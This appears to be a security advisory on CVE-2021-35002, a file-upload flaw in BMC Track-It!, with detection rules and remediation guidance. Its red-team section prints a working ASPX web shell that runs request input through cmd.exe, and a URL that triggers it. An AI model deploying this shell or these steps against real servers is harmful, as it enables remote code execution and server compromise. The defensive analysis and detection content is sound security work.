CVE-2021-35002

Executive Summary

CVE-2021-35002 is a critical unrestricted file upload vulnerability in BMC Track-It!, a help desk and IT asset management solution. The flaw resides in the processing of email attachments, where the application fails to properly validate user-supplied data, allowing an authenticated attacker to upload arbitrary files. This can lead to remote code execution (RCE) in the context of the service account, potentially compromising the entire server. With a CVSS score of 8.8, the vulnerability is considered high severity. No public exploit code or proof-of-concept (PoC) has been released, and the patch status remains unknown. This report provides a comprehensive technical analysis, detection strategies, and mitigation recommendations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Authentication is needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Full data compromise possible.
• Integrity Impact: High (I:H) – Arbitrary file upload can modify system files.
• Availability Impact: High (A:H) – Code execution can disrupt services.

Threat Level: High. The vulnerability allows authenticated attackers to execute arbitrary code, potentially leading to full server compromise. The lack of a patch increases the risk for unpatched systems.

Deep Dive & Mechanics

The vulnerability exists in the email attachment processing functionality of BMC Track-It!. When the application receives an email with an attachment, it attempts to save the file to the server. Due to insufficient validation of the file type and content, an attacker can upload a malicious file (e.g., a web shell or executable) to a directory that is accessible via the web server. Once uploaded, the attacker can access the file through a web request, triggering code execution in the context of the service account (typically NETWORK SERVICE or LOCAL SYSTEM).

The flaw is classified under CWE-434 (Unrestricted Upload of File with Dangerous Type). The application does not check the file extension or MIME type against a whitelist of allowed types, nor does it sanitize the filename to prevent path traversal. This allows an attacker to upload a .asp, .aspx, .php, or other executable file to a web-accessible directory (e.g., uploads/ or attachments/). The attacker can then invoke the file via HTTP, causing the server to execute the code.

The attack flow:

1. Attacker authenticates to BMC Track-It! (e.g., via default credentials or compromised account).
2. Attacker crafts an email with a malicious attachment (e.g., shell.aspx).
3. The email is processed by Track-It!, and the attachment is saved to a web-accessible directory without validation.
4. Attacker sends an HTTP request to the uploaded file (e.g., http://target/trackit/uploads/shell.aspx).
5. The server executes the code, granting the attacker a reverse shell or command execution.

Vulnerable vs. Patched Code

Since no official patch has been released, a direct code comparison is not possible. However, the vulnerable code likely resembles:

Vulnerable (pseudo-code):

// No validation of file type or path
string uploadPath = Server.MapPath("~/uploads/");
string fileName = Path.GetFileName(attachment.FileName);
attachment.SaveAs(Path.Combine(uploadPath, fileName));

Patched (pseudo-code):

string uploadPath = Server.MapPath("~/uploads/");
string fileName = Path.GetFileName(attachment.FileName);
// Validate file extension against whitelist
string[] allowedExtensions = { ".txt", ".pdf", ".doc" };
string ext = Path.GetExtension(fileName).ToLower();
if (!allowedExtensions.Contains(ext))
{
    throw new Exception("Invalid file type.");
}
// Sanitize filename to prevent path traversal
fileName = fileName.Replace("..", "").Replace("/", "").Replace("\\", "");
attachment.SaveAs(Path.Combine(uploadPath, fileName));

The patched version would include:

• File extension whitelist.
• Filename sanitization (removing path traversal characters).
• Possibly scanning file content for malicious signatures.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a BMC Track-It! instance (version unknown).
• Valid credentials (e.g., default admin/admin or compromised account).
• Network access to the Track-It! web interface.

Steps:

1. Authenticate: Log in to the Track-It! web interface.
2. Craft Malicious Attachment: Create a web shell file (e.g., cmd.aspx):

   <%@ Page Language="C#" %>
   <%@ Import Namespace="System.Diagnostics" %>
   <script runat="server">
       void Page_Load(object sender, EventArgs e) {
           Process.Start("cmd.exe", "/c " + Request["cmd"]);
       }
   </script>
   

3. Send Email with Attachment: Use the Track-It! email integration to send an email with the malicious file attached. Alternatively, if the application allows direct file upload via the web interface, upload the file directly.
4. Locate Uploaded File: Determine the upload directory (e.g., /TrackIt/uploads/ or /TrackIt/Attachments/). This may require reconnaissance or trial and error.
5. Execute Code: Access the uploaded file via HTTP:

   http://target/TrackIt/uploads/cmd.aspx?cmd=whoami
   

6. Escalate Privileges: If the service account has limited privileges, use local privilege escalation techniques (e.g., exploiting misconfigured services or kernel vulnerabilities).

Note: No public exploit code is available. The above steps are based on the vulnerability description and common file upload exploitation techniques.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual file uploads to web-accessible directories (e.g., .aspx, .asp, .php files in uploads/).
• Alert on HTTP requests to uploaded files with query parameters (e.g., ?cmd=).
• Use file integrity monitoring (FIM) to detect new files in web directories.

Prevention:

• Apply input validation on file uploads (whitelist extensions, sanitize filenames).
• Store uploaded files outside the web root or in a database.
• Use a web application firewall (WAF) to block malicious file types.
• Restrict service account permissions (e.g., run as low-privileged user).

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available; generate upon detection)
• Network Indicators:
  • HTTP requests to /TrackIt/uploads/*.aspx or similar paths.
  • Outbound connections from the Track-It! server to attacker-controlled IPs (e.g., reverse shell).
• File System Indicators:
  • Unexpected files in C:\Program Files\BMC Software\TrackIt\wwwroot\uploads\ or similar.
  • Files with extensions .aspx, .asp, .php, .jsp in upload directories.
• Process Indicators:
  • w3wp.exe or cmd.exe spawning unexpected child processes (e.g., powershell.exe).
• Log Indicators:
  • Event ID 4624 (successful logon) for unusual accounts.
  • IIS logs showing requests to uploaded files with query strings.

Detection Engineering

YARA Rule

rule CVE_2021_35002_WebShell {
    meta:
        description = "Detects web shells uploaded via CVE-2021-35002"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2021-35002"
    strings:
        $asp_webshell = "<%@ Page Language=\"C#\" %>" nocase
        $cmd_exec = "Process.Start" nocase
        $request_param = "Request[\"" nocase
    condition:
        $asp_webshell and $cmd_exec and $request_param
}

Sigma Rule

title: CVE-2021-35002 - Unrestricted File Upload in BMC Track-It!
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects file uploads to web-accessible directories in BMC Track-It!
author: Valters IT
date: 2025-04-17
logsource:
    product: windows
    service: iis
detection:
    selection:
        cs-uri-stem:
            - '/TrackIt/uploads/*'
            - '/TrackIt/Attachments/*'
        cs-uri-query: '*cmd=*'
    condition: selection
falsepositives:
    - Legitimate file uploads (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2021-35002 - BMC Track-It! File Upload RCE"; flow:to_server,established; content:"POST"; http_method; content:"/TrackIt/"; http_uri; content:".aspx"; http_uri; content:"cmd="; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: Disconnect BMC Track-It! servers from the network if possible.
2. Disable Email Attachment Processing: Temporarily disable the email integration feature to prevent exploitation.
3. Review Access Logs: Check IIS logs for suspicious file uploads and access to uploaded files.
4. Change Credentials: Reset all service account passwords and enforce strong authentication.

Long-Term Fixes:

• Apply Vendor Patch: Monitor BMC for an official patch. If none is available, consider migrating to an alternative solution.
• Implement Input Validation: Modify the application (if source code is available) to whitelist file extensions and sanitize filenames.
• Web Application Firewall (WAF): Deploy a WAF with rules to block file uploads of executable types (e.g., .aspx, .asp, .php).
• Least Privilege: Run the Track-It! service account with minimal permissions (e.g., NETWORK SERVICE instead of LOCAL SYSTEM).
• Network Segmentation: Place Track-It! servers in a DMZ with restricted outbound access.

Workarounds:

• Store uploaded files in a database instead of the file system.
• Use a separate, non-web-accessible directory for uploads and serve them via a handler that validates file types.

Valters IT